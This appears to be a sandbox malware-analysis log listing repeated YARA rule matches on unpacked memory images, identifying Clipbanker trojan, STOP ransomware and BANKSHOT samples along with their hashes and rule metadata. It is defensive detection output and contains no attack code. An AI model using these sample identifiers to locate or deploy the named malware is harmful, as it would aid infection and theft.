Source: 25.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 25.2.mstsca.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 25.2.mstsca.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 27.2.mstsca.exe.9115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 27.2.mstsca.exe.9115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 30.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 9.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 28.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 28.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 18.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 18.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 11.2.build3.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 11.2.build3.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 22.2.Z4CYGTBlj7.exe.5ea15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 22.2.Z4CYGTBlj7.exe.5ea15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 15.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 5.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 15.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 1.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 23.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 23.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 23.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 23.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 19.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 19.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 4.2.Z4CYGTBlj7.exe.5df15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.Z4CYGTBlj7.exe.5df15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 4.2.Z4CYGTBlj7.exe.5df15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 4.2.Z4CYGTBlj7.exe.5df15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 22.2.Z4CYGTBlj7.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 22.2.Z4CYGTBlj7.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.2.Z4CYGTBlj7.exe.5c915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.2.Z4CYGTBlj7.exe.5c915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
